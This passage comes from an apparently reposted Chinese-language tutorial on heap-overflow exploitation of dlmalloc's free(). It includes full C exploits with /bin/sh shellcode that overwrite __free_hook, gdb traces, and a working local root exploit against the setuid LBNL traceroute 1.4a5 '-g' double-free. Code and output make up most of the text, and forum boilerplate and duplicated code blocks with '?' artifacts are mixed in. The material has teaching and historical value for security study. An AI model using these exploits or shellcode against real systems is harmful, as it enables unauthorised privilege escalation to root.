    10 buf = malloc (16); /* 分配兩塊16字節內存 */
    (gdb) p/x &__free_hook
    $2 = 0x401091b8

    iii. 確定shellcode的地址。并且要在shellcode前面增加一段跳轉代碼,以便
    跳過一個malloc_chunk結構,因為(__free_hook-12)這個值會被寫到
    shellcode+8處.
    +--------+---------------------+---------------+
    |jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
    +--------+---------------------+---------------+
    |<---- 10字節 ---->|
    希望大家提問前先 google 關鍵詞<br /> 希望大家提問前先看論壇的精華和置項的貼子<br /> 希望大家提問前先搜索論壇的相關內容<br /> 希望大家提問時把標題寫清楚<br /> 希望大家貼代碼時能保持縮進<br /> LFS ID:8158?

    ?pasting

    5. 一個演示程序

    下面我們就可以來寫溢出程序了,其實是相當簡單的:
    Shell代碼
  • /*?Exploit?for?free()?with?unlinking?next?chunk?-?ex.c? ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/06??
  • */ ??
  • ??
  • #include?<stdio.h> ??
  • #include?<stdlib.h> ??
  • ??
  • #define?__FREE_HOOK?????0x401091b8??/*?__free_hook()地址?*/ ??
  • #define?VULPROG?"./vul"??
  • ??
  • #define?PREV_INUSE?0x1??
  • #define?IS_MMAPPED?0x2??
  • ??
  • char?shellcode[]?= ??
  • ??"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"?/*這一段是為了跳過垃圾數據*/ ??
  • ??"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"??
  • ??"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"??
  • ??"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ??
  • ??
  • main?(int?argc,?char?**argv) ??
  • { ??
  • ??unsigned?int?codeaddr?=?0; ??
  • ??char?buf[128],?fake_chunk[16]; ??
  • ??char?*env[2]; ??
  • ??unsigned?int?*ptr; ??
  • ??
  • ??/*?計算shellcode在堆棧中的地址?*/ ??
  • ??codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??
  • ??
  • ??env[0]?=?shellcode; ??
  • ??env[1]?=?NULL; ??
  • ??
  • ??/*?偽造一個塊結構?*/ ??
  • ??ptr?=?(unsigned?int?*)?fake_chunk; ??
  • ??*ptr++?=?0x11223344?&?~PREV_INUSE;?/*?將PREV_INUSE位清零?*/ ??
  • ??/*?設置長度為-4,這個值應當是4的倍數?*/ ??
  • ??*ptr++?=?0xfffffffc; ??
  • ??*ptr++?=?__FREE_HOOK?-?12?; ??
  • ??*ptr++?=?codeaddr; ??
  • ?? ??
  • ??bzero(buf,?128); ??
  • ??memset?(buf,?'A',?16);?/*?填充無用數據?*/ ??
  • ??memcpy?(buf?+?16,?fake_chunk,?sizeof?(fake_chunk)); ??
  • ?? ??
  • ??execle?(VULPROG,?VULPROG,?buf,?NULL,?env); ??
  • ??
  • }?/*?End?of?main?*/??
  • /* Exploit for free() with unlinking next chunk - ex.c * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/06 */#include <stdio.h> #include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */ #define VULPROG "./vul"#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2char shellcode[] ="\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據*/"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv) {unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE; /* 將PREV_INUSE位清零 *//* 設置長度為-4,這個值應當是4的倍數 */*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12 ;*ptr++ = codeaddr;bzero(buf, 128);memset (buf, 'A', 16); /* 填充無用數據 */memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);} /* End of main */
    運行一下看看:

    [warning3@redhat-6 malloc]$ gcc -o ex ex.c
    [warning3@redhat-6 malloc]$ ./ex
    0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
    0x8049780 [ buf1 ] (08) : 瑧@???
    From buf to buf1 : 24

    Before free buf
    Before free buf1
    bash$ <--- 成功了!!

    是不是很簡單?:-)

    小節:

    現在我們總結一下利用free(mem)來進行攻擊的基本步驟。假設chunk是該塊內部
    結構的指針(chunk = mem - 8)。

    我們有兩種方法:
    1. 如果我們想利用上一塊的unlink進行攻擊,需要保證:
    I. chunk->size的IS_MMAPPED位為零
    II. chunk->size的PREV_INUSE位為零
    III. chunk + chunk->prev_size指向一個我們控制的偽造塊結構;
    IV. 在一個確定的位置構造一個偽塊

    2. 如果想利用下一個塊的unlink進行攻擊,需要保證:
    I. chunk->size的IS_MMAPPED位為零
    II. chunk->size的PREV_INUSE位為一
    III. chunk + nextsz 指向一個我們控制的偽造塊結構。
    (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
    IV. 在一個確定的位置構造一個偽塊

    其中偽塊(fake_chunk)的結構如下:

    fake_chunk[0] = 0x11223344 & ~PREV_INUSE (只在第2種情況下有意義)
    fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2種情況下有意義)
    fake_chunk[8] = objaddr - 12 ; (objaddr是要覆蓋的目標地址)
    fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)

    至于具體使用上面哪種方法,需要根據實際情況確定。例如,如果你不能控制
    chunk->prev_size使其指向我們的偽塊,那就不能用第一種方法了。

    我們再看一個利用上一塊的unlink進行攻擊的例子,只要將弱點程序的free(buf1)放到
    free(buf)前面即可,這樣我們所free的buf1就是一個我們可以控制的內存塊了。
    改動后的vul.c如下:
    ...
    printf ("Before free buf1\n");
    free (buf1); /* 釋放buf1 */
    printf ("Before free buf\n");
    free (buf); /* 釋放buf */
    ...

    看看我們的新演示程序吧:
    Shell代碼
  • /*?Exploit?for?free()?with?unlinking?previous?chunk?-?ex1.c? ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/06??
  • */ ??
  • ??
  • #include?<stdio.h> ??
  • #include?<stdlib.h> ??
  • ??
  • #define?__FREE_HOOK?????0x401091b8??????/*?__free_hook()地址?*/ ??
  • #define?VULPROG?"./vul"??
  • ??
  • #define?PREV_INUSE?0x1??
  • #define?IS_MMAPPED?0x2??
  • ??
  • char?shellcode[]?=? ??
  • ??"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"???/*這一段是為了跳過垃圾數據?*/ ??
  • ??"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"??
  • ??"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"??
  • ??"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ??
  • ??
  • main?(int?argc,?char?**argv) ??
  • { ??
  • ??unsigned?int?codeaddr?=?0; ??
  • ??char?buf[128],?fake_chunk[16]; ??
  • ??char?*env[2]; ??
  • ??unsigned?int?*ptr; ??
  • ??
  • ??/*?計算shellcode在堆棧中的地址?*/ ??
  • ??codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??
  • ??
  • ??env[0]?=?shellcode; ??
  • ??env[1]?=?NULL; ??
  • ??
  • ??/*?偽造一個塊結構。?*/ ??
  • ??ptr?=?(unsigned?int?*)?fake_chunk; ??
  • ??*ptr++?=?0x11223344?&?~PREV_INUSE; ??
  • ??*ptr++?=?0xfffffffc; ??
  • ??*ptr++?=?__FREE_HOOK?-?12; ??
  • ??*ptr++?=?codeaddr; ??
  • ??
  • ??bzero?(buf,?128); ??
  • ??memset?(buf,?'A',?16);? ??
  • ??ptr?=?(unsigned?int?*)?(buf?+?16); ??
  • ?? ??
  • ??/*?讓prev_size等于-8?,使其指向我們偽造的塊.?滿足III條?*/ ??
  • ??*ptr++?=?0xfffffff8;? ??
  • ?? ??
  • ??/*?只要保證next以及next->size可以訪問即可。所以讓size長度等于-4?, ??
  • ???*?如果要為正值,必須找到堆棧里的一個有效值,還要計算偏移,太麻煩。 ??
  • ???*?同時要清兩個標記。滿足I.,II.條? ??
  • ???*/ ??
  • ??*ptr++?=?0xfffffffc?&?~(PREV_INUSE?|?IS_MMAPPED);? ??
  • ?? ??
  • ??/*?將偽造的塊放到確定位置。滿足第IV條?*/ ??
  • ??memcpy?(buf?+?16?+?8,?fake_chunk,?sizeof?(fake_chunk)); ??
  • ??
  • ??execle?(VULPROG,?VULPROG,?buf,?NULL,?env); ??
  • ??
  • }/*?End?of?main?*/??
  • /* Exploit for free() with unlinking previous chunk - ex1.c * by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url]) * 2001/03/06 */#include <stdio.h> #include <stdlib.h>#define __FREE_HOOK 0x401091b8 /* __free_hook()地址 */ #define VULPROG "./vul"#define PREV_INUSE 0x1 #define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*這一段是為了跳過垃圾數據 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv) {unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 計算shellcode在堆棧中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 偽造一個塊結構。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);memset (buf, 'A', 16); ptr = (unsigned int *) (buf + 16);/* 讓prev_size等于-8 ,使其指向我們偽造的塊. 滿足III條 */*ptr++ = 0xfffffff8; /* 只要保證next以及next->size可以訪問即可。所以讓size長度等于-4 ,* 如果要為正值,必須找到堆棧里的一個有效值,還要計算偏移,太麻煩。* 同時要清兩個標記。滿足I.,II.條 */*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED); /* 將偽造的塊放到確定位置。滿足第IV條 */memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);}/* End of main */
    讓我們再來測試一下:

    [warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
    [warning3@redhat-6 malloc]$ ./ex1
    0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@???
    0x8049780 [ buf1 ] (16) : D3"????瑧@???
    From buf to buf1 : 24

    Before free buf1 <-- 先釋放buf1
    Before free buf
    bash$ exit


    6. 實例: Traceroute "-g"問題

    有了上面的演示程序。我們再來看一個真實世界的例子。

    Traceroute是用來檢查通往目標網絡的路由情況的一個工具,很多Unix系統都安
    裝了這個軟件。由于traceroute需要操縱原始套接字,因此通常被設置了setuid
    root屬性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
    Laboratory)存在一個安全漏洞,可以被攻擊者用來非法獲取root權限。

    這個漏洞主要是由于free()函數錯誤得去釋放一塊已經釋放的內存所引起的。

    首先我們看一下traceroute的漏洞出在那里。traceroute使用了一個savestr()函數,它
    在savestr.c中,它的作用類似strdup(),用來復制一個字符串。它會自動調用malloc()分
    配一塊較大的內存空間, 并記錄下調用完畢后剩余空間的大小。如果用戶下次調用
    savestr()時,所需內存比剩余空間還小,就不再調用malloc(),而是直接從已分配的空
    間中返回一個地址,這樣可以減少調用malloc()的次數。然而,這給用戶確定何時需要釋
    放那塊分配的內存帶來了麻煩,traceroute中沒有仔細考慮這一點,而是將savestr()等
    同與strdup()來使用,每次調用savestr()完畢后總會調用free()函數釋放內存。因此,
    當第二次調用savestr()后,free()所釋放的內存,實際上是一塊未被分配的內存(因為
    這塊內存已經被第一次free()所釋放了)!

    下面舛尉褪莝avestr()的代碼:
    Shell代碼
  • <...> ??
  • /*?A?replacement?for?strdup()?that?cuts?down?on?malloc()?overhead?*/ ??
  • char?* ??
  • savestr(register?const?char?*str) ??
  • { ??
  • ????????register?u_int?size; ??
  • ????????register?char?*p; ??
  • ????????static?char?*strptr?=?NULL; ??
  • ????????static?u_int?strsize?=?0; ??
  • ??
  • ????????size?=?strlen(str)?+?1; ??
  • ????????if?(size?>?strsize)?{ ??
  • ????????????????strsize?=?1024; ??
  • ????????????????if?(strsize?<?size) ??
  • ????????????????????????strsize?=?size; ??
  • ???????????????/*?只有size>strsize的情況下才調用malloc*/????????? ??
  • ????????????????strptr?=?(char?*)malloc(strsize); ??
  • ????????????????if?(strptr?==?NULL)?{ ??
  • ????????????????????????fprintf(stderr,?"savestr:?malloc\n"); ??
  • ????????????????????????exit(1); ??
  • ????????????????} ??
  • ????????} ??
  • ????????(void)strcpy(strptr,?str); ??
  • ????????p?=?strptr; ??
  • ????????strptr?+=?size; ??
  • ????????strsize?-=?size; ??
  • ????????return?(p); ??
  • }???????? ??
  • ??
  • <...>??
  • <...> /* A replacement for strdup() that cuts down on malloc() overhead */ char * savestr(register const char *str) {register u_int size;register char *p;static char *strptr = NULL;static u_int strsize = 0;size = strlen(str) + 1;if (size > strsize) {strsize = 1024;if (strsize < size)strsize = size;/* 只有size>strsize的情況下才調用malloc*/ strptr = (char *)malloc(strsize);if (strptr == NULL) {fprintf(stderr, "savestr: malloc\n");exit(1);}}(void)strcpy(strptr, str);p = strptr;strptr += size;strsize -= size;return (p); } <...>
    我們看一下兩次調用savestr()時的情形:

    <1>. p = savestr(S)

    假設字符串S長度為l(l<1024),則第一次調用savestr(),它會分配1024
    字節長的緩沖區來儲存S:

    |<----------------------- 1024 bytes -------------------->|
    +----------------------------+----------------------------+
    | S[0] S[1] ... S[l-1] \0 | junk |
    +----------------------------+----------------------------+
    ^ ^
    |__ p |___ strptr


    這時候剩余空間strsize為: (1024 - l - 1)
    strptr指向 junk的起始

    <2>. free(p)

    第一次free()會釋放p指向的這塊緩沖區(1024字節),它會放一些數據在緩
    沖區的開頭

    |<----------------------- 1024 bytes -------------------->|
    +-------+--------------------+----------------------------+
    | junk1 | S[k] ... S[l-1] \0 | junk |
    +-------+--------------------+----------------------------+
    ^
    |___ strptr
    這時候p所指向的1024字節大小的緩沖區已經被釋放了。

    <3>. p = savestr(T)

    第二次調用savestr()時,如果字符串T的長度小于strsize(1024 -l -1),
    那么savestr()就不會再次調用malloc()分配新內存,而是直接調用了:
    ....
    (void)strcpy(strptr, str);
    p = strptr;
    strptr += size;
    strsize -= size;
    return (p);
    ....
    將字符串T拷貝到junk的起始處,而實際上,這塊內存已經被釋放了!
    拷貝的結果如下:

    |<----------------------- 1024 bytes -------------------->|
    +-------+--------------------+--------------------+-------+
    | junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2|
    +-------+--------------------+--------------------+-------+
    ^ ^
    |__ p |___ strptr

    這時,strptr指向了junk2處,strsize = 1024 -l -1 -n -1
    p指向原來的chunk起始處。

    <4>. free(p)

    第二次調用free()時,所指向的實際上是一個未分配的緩沖區,這就導致
    一個嚴重錯誤。我們看到既然S和T都是我們可以控制的,那么我們就可以
    利用前面所說的兩種方法中的任意一種來進行攻擊!

    下面就是調用'-g'參數時函數執行的一個簡單流程。
    Shell代碼
  • main() ??
  • .... ??
  • case?'g': ??
  • ... ??
  • getaddr(gwlist?+?lsrr,?optarg); ??
  • ??
  • getaddr(register?u_int32_t?*ap,?register?char?*hostname) ??
  • { ??
  • register?struct?hostinfo?*hi; ??
  • ??
  • (1)?hi?=?gethostinfo(hostname); ??
  • *ap?=?hi->addrs[0]; ??
  • (2)?freehostinfo(hi); ??
  • } ??
  • ??
  • struct?hostinfo?* ??
  • gethostinfo(register?char?*hostname) ??
  • { ??
  • ??
  • ... ??
  • (3)?hi?=?calloc(1,?sizeof(*hi)); ??
  • ... ??
  • addr?=?inet_addr(hostname); ??
  • if?((int32_t)addr?!=?-1)?{ ??
  • (4)?hi->name?=?savestr(hostname); ??
  • hi->n?=?1; ??
  • (5)?hi->addrs?=?calloc(1,?sizeof(hi->addrs[0])); ??
  • ...? ??
  • (6)?hi->addrs[0]?=?addr; ??
  • return?(hi); ??
  • }??
  • main() .... case 'g': ... getaddr(gwlist + lsrr, optarg);getaddr(register u_int32_t *ap, register char *hostname) { register struct hostinfo *hi;(1) hi = gethostinfo(hostname); *ap = hi->addrs[0]; (2) freehostinfo(hi); }struct hostinfo * gethostinfo(register char *hostname) {... (3) hi = calloc(1, sizeof(*hi)); ... addr = inet_addr(hostname); if ((int32_t)addr != -1) { (4) hi->name = savestr(hostname); hi->n = 1; (5) hi->addrs = calloc(1, sizeof(hi->addrs[0])); ... (6) hi->addrs[0] = addr; return (hi); }
    我們看到,每次getaddr中都會釋放hostinfo結構中的每個成員,包括hi->name.(1)
    而再第二次調用gethostinfo()時,又會經歷兩次calloc操作(3,5),以及一次賦值
    操作(6)。因此看起來并不象我們原來想象的那么簡單,關鍵在于我們能否控制第
    二次free的那塊內存的內部結構成員:chunk->size或者是chunk->prev_size.
    讓我們來跟蹤一下:

    [root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
    (gdb) b gethostinfo
    Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220.
    (gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

    Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
    111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

    Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111")
    at ./traceroute.c:1220
    1220 hi = calloc(1, sizeof(*hi));
    (gdb) n
    1221 if (hi == NULL) {
    (gdb) n
    1225 addr = inet_addr(hostname);
    (gdb) n
    1226 if ((int32_t)addr != -1) {
    (gdb) p/x addr <-- 這是hostname轉換后的地址(111.111.111.111)
    $2 = 0x6f6f6f6f
    (gdb) n <-- 下一步要為hostname分配1024字節內存
    1227 hi->name = savestr(hostname);
    (gdb) n
    1228 hi->n = 1;
    (gdb) p/x hi->name <-- 這是第一次分配返回的地址
    $3 = 0x804d518
    (gdb) x/8x hi->name -8
    [prev_size] [size] [data...]
    0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131
    0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
    (gdb) n <-- 又動態分配了一塊內存
    1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
    (gdb)
    1230 if (hi->addrs == NULL) {
    (gdb) p/x hi->addrs <-- 這塊內存是分配在hi->name + 0x400+8這個地址
    $4 = 0x804d920
    (gdb) n
    1235 hi->addrs[0] = addr;
    (gdb) n
    1236 return (hi);
    (gdb) x/x hi->addrs
    0x804d920: 0x6f6f6f6f <-- 注意,將addr存在這個地址了。
    (gdb) c
    Continuing.

    Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99")
    at ./traceroute.c:1220
    1220 hi = calloc(1, sizeof(*hi));
    [ 這時,前面分配的內存已經全被釋放了 ]

    (gdb) p/x 0x804d510 <-- 我們看看原來的hi->name內存的情況
    $5 = 0x804d510
    (gdb) x/10x 0x804d510
    [prev_size] [size] [data...]
    0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80
    0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
    0x804d530: 0x00000000 0x00000000
    [ 我們看到我們原來的數據(16個字節)已經改變了 ]
    (gdb) n
    1221 if (hi == NULL) {
    (gdb) x/10x 0x804d510 <--- 執行完第一個calloc(),后,prev_size被清零了。
    [prev_size] [size] [data...]
    0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
    0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
    0x804d530: 0x00000000 0x00000000
    (gdb) n
    1225 addr = inet_addr(hostname);
    (gdb) n
    1226 if ((int32_t)addr != -1) {
    (gdb) p/x addr <-- 這里意味著我們可以構造一個任意的值,并賦給addr
    $6 = 0x99887766
    (gdb) n
    1227 hi->name = savestr(hostname); <--再次調用savestr()
    (gdb) n
    1228 hi->n = 1;
    (gdb) p/x hi->name
    $7 = 0x804d528 <-- 注意!hi->name的起始位置 =
    0x804d518 + 第一個-g參數的長度(16)

    (gdb) x/12x 0x804d510
    0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
    0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e
    0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
    [ 第二個參數的內容從*號處開始 ]

    (gdb) n <-- 下面這個calloc將再分配一段內存
    1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
    (gdb) n
    1230 if (hi->addrs == NULL) {
    (gdb) p/x hi->addrs < --- 這個地址就是我們第一次savestr()時得到的地址!!!
    $8 = 0x804d518
    (gdb) p/x sizeof(hi->addrs[0])
    $9 = 0x4
    (gdb) x/12x 0x804d510 <---
    [prev_size] [size] [data...]
    0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000
    0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
    0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
    [ 從上面看到,新分配的內存也是從0x804d510開始的,而且將用戶數據區的前8個
    字節清零。最頂上的塊也移動了16個字節,將0x804d520,0x804d524兩個地址的
    數據覆蓋了。
    ]
    (gdb) n
    1235 hi->addrs[0] = addr;
    (gdb) p/x hi->addrs[0]
    $10 = 0x0
    (gdb) n
    1236 return (hi);
    (gdb) p/x hi->addrs[0]
    $11 = 0x99887766
    (gdb) p/x &hi->addrs[0]
    $12 = 0x804d518
    (gdb) x/12x 0x804d510
    [prev_size] [size] [data...]
    0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000
    0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
    0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000

    [ 注意,addr = 0x99887766被存到了0x804d518處,這個值是我們能控制的 ]

    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0x40073f73 in free () at malloc.c:2952
    2952 malloc.c: No such file or directory.

    [ 在試圖free *號開始地址的內存時出錯 ]

    為了更容易理解一下,我們可以看一下兩次調用savestr()時的圖:

    第一次調用savestr()后,返回地址p0:

    |<----------------------- 1024 bytes -------------------->|
    +----------------------------+----------------------------+
    | "111.111.111.111" \0 | junk |
    +----------------------------+----------------------------+
    ^
    |__ p0

    在第二次savestr()后,p0移動到一個新的位置p1=p0 + strlen(hostname) +1。

    由于執行了一個calloc()操作,導致從p2開始的12個字節是我們不能控制的.
    而幸運的是,由于有一個"hi->addrs[0] = addr"操作,使得p2前面的四個
    字節是我們能控制的

    |<----------------------- 1024 bytes -------------------->|
    +--------+----------------------+---------------------+---+
    |99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...|
    +--------+----------------------+---------------------+---+
    | 4字節 |<--- 12字節 --->| ^
    p0 p2 |__ p1

    接下來要free(p1)了。根據前面介紹的方法,如果要想利用free(p1),
    我們必須能控制p1-4(size)或者p1-8(prev_size)的內容,既然我們能控制
    p0開始的4個字節,如果我們能設法使得p1與p2重合,那么我們不就可以
    控制p1-4了嗎?這樣就要求第一個"-g"參數長度為3字節,例如"1.1"
    再加上最后的'\0',長度就剛好是4字節了。

    |<----------------------- 1024 bytes -------------------->|
    +--------+------------------------------------------------+
    | "1.1"\0| |
    +--------+------------------------------------------------+
    | 4字節 |
    p0

    |<----------------------- 1024 bytes -------------------->|
    +--------+------------------------------------------------+
    | "1.1"\0|"0x66.0x77.0x88.0x99"\0 |
    +--------+------------------------------------------------+
    | 4字節 |
    p0 p1

    |<----------------------- 1024 bytes -------------------->|
    +--------+----------------------------+-------------------+
    |99887766|0000 0000 0x0ae1|"88.0x99"\0|... |
    +--------+----------------------------+-------------------+
    | 4字節 |<--- 12字節 --->|<--8字節-->|
    p0 p2(p1)

    那么下一步的關鍵就是如何設置chunk->size,以及將我們的偽造的塊放在
    什么地方了。
    inet_addr()有一個"特性",如果你輸入"1.2.3.4 AAAAAA"(注意空格后面
    還添加了一些'A'),它并不會報錯,返回值為0x04030201.如果輸入
    "0xaa.0xbb.0xcc.0xdd AAA"這樣的字符串,返回值就是0xddccbbaa.我們
    可以將偽造的塊放在空格后面,將chunk->size放在0xaa.0xbb.0xcc.0xdd
    中。例如,第二個"-g"參數使用"0x1d.0x00.0x00.0x00 fake_chunk"
    這樣得到的chunk->size=0x0000001d。
    0x1d這個值是怎么算出來的呢?

    chunk = p1 -8
    fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ")
    = p1 + 20
    = chunk + 8 + 20
    = chunk + 28
    = chunk + 0x1c
    (0x1c | PREV_INUSE) ==> 0x1d

    有人也許會說,為什么不將第一個參數長度設得比較大,例如,超過16
    字節,這樣16字節后面的部分也會在我們的控制之下,利用這些部分來
    構造一個prev_size和size不是更方便嗎?我開始也是這么考慮的,但是
    實際測試時發現,p2所代表塊的已經是top塊,就是最頂上的塊。free(p1)
    時,要求p1-8地址低于p2,因此這種方法行不通。

    OK,到這里可以說是大功告成了,下面就可以開始寫測試程序了。我們利用的
    是unlink下一個塊的方法。你會發現,一旦原理搞清楚了,這個測試程序是相
    當簡潔的。 唯一需要知道的,就是__free_hook的地址.如果你有對
    /usr/sbin/traceroute的讀權限,可以將它拷貝到一個臨時目錄下,然后使用
    gdb,將斷點設在exit,然后獲取__free_hook.如果沒有讀權限,可以增加一個
    偏移量,自動測試可能的__free_hook,一般按照0x10來遞增或遞減即可。

    Shell代碼
  • /*?Exploit?for?LBNL?traceroute?with?unlinking?nextchunk? ??
  • *???????????????????????????????????-?traceroute-ex.c? ??
  • * ??
  • *?THIS?CODE?IS?FOR?EDUCATIONAL?PURPOSE?ONLY?AND?SHOULD?NOT?BE?RUN?IN ??
  • *?ANY?HOST?WITHOUT?PERMISSION?FROM?THE?SYSTEM?ADMINISTRATOR. ??
  • * ??
  • *???????????by?[email]warning3@nsfocus.com[/email]?([url]http://www.nsfocus.com[/url])? ??
  • *?????????????????????????????????????2001/03/08??
  • */ ??
  • #include?<stdio.h> ??
  • #include?<stdlib.h> ??
  • ??
  • #define?__FREE_HOOK?????0x401091b8??????/*?__free_hook地址?*/ ??
  • #define?VULPROG?"/usr/sbin/traceroute"??
  • ??
  • #define?PREV_INUSE?0x1??
  • #define?IS_MMAPPED?0x2??
  • ??
  • char?shellcode[]?=? ??
  • ??"\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"???/*這一段是為了跳過垃圾數據?*/ ??
  • ??"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"??
  • ??"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"??
  • ??"\x80\xe8\xdc\xff\xff\xff/bin/sh"; ??
  • ??
  • main?(int?argc,?char?**argv) ??
  • { ??
  • ??unsigned?int?codeaddr?=?0; ??
  • ??char?buf[128],fake_chunk[16]; ??
  • ??char?*env[2]; ??
  • ??unsigned?int?*ptr; ??
  • ??
  • ??/*?計算shellcode在堆棧中的地址?*/ ??
  • ??codeaddr?=?0xc0000000?-?4?-?(strlen?(VULPROG)?+?1)?-?(strlen?(shellcode)?+?1); ??
  • ??
  • ??env[0]?=?shellcode; ??
  • ??env[1]?=?NULL; ??
  • ??
  • ??/*?偽造一個塊結構。?*/ ??
  • ??ptr?=?(unsigned?int?*)?fake_chunk; ??
  • ??*ptr++?=?0x11223344?&?~PREV_INUSE; ??
  • ??*ptr++?=?0xfffffffc; ??
  • ??*ptr++?=?__FREE_HOOK?-?12; ??
  • ??*ptr++?=?codeaddr; ??
  • ??
  • ??bzero?(buf,?128); ??
  • ??/*?設置chunk->size?=?((20+8?=?28?=?0x1c)?|?PREV_INUSE)=?0x1d?*/ ??
  • ??memcpy(buf,?"0x1d.0x00.0x00.0x00?",?20); ??
  • ??memcpy(buf+20,?fake_chunk,?16); ??
  • ??
  • ??execle?(VULPROG,?VULPROG,?"-g",?"1.1",?"-g"?,?buf,?"127.0.0.1",?NULL,?env); ??
  • ??
  • }/*?End?of?main?*/??
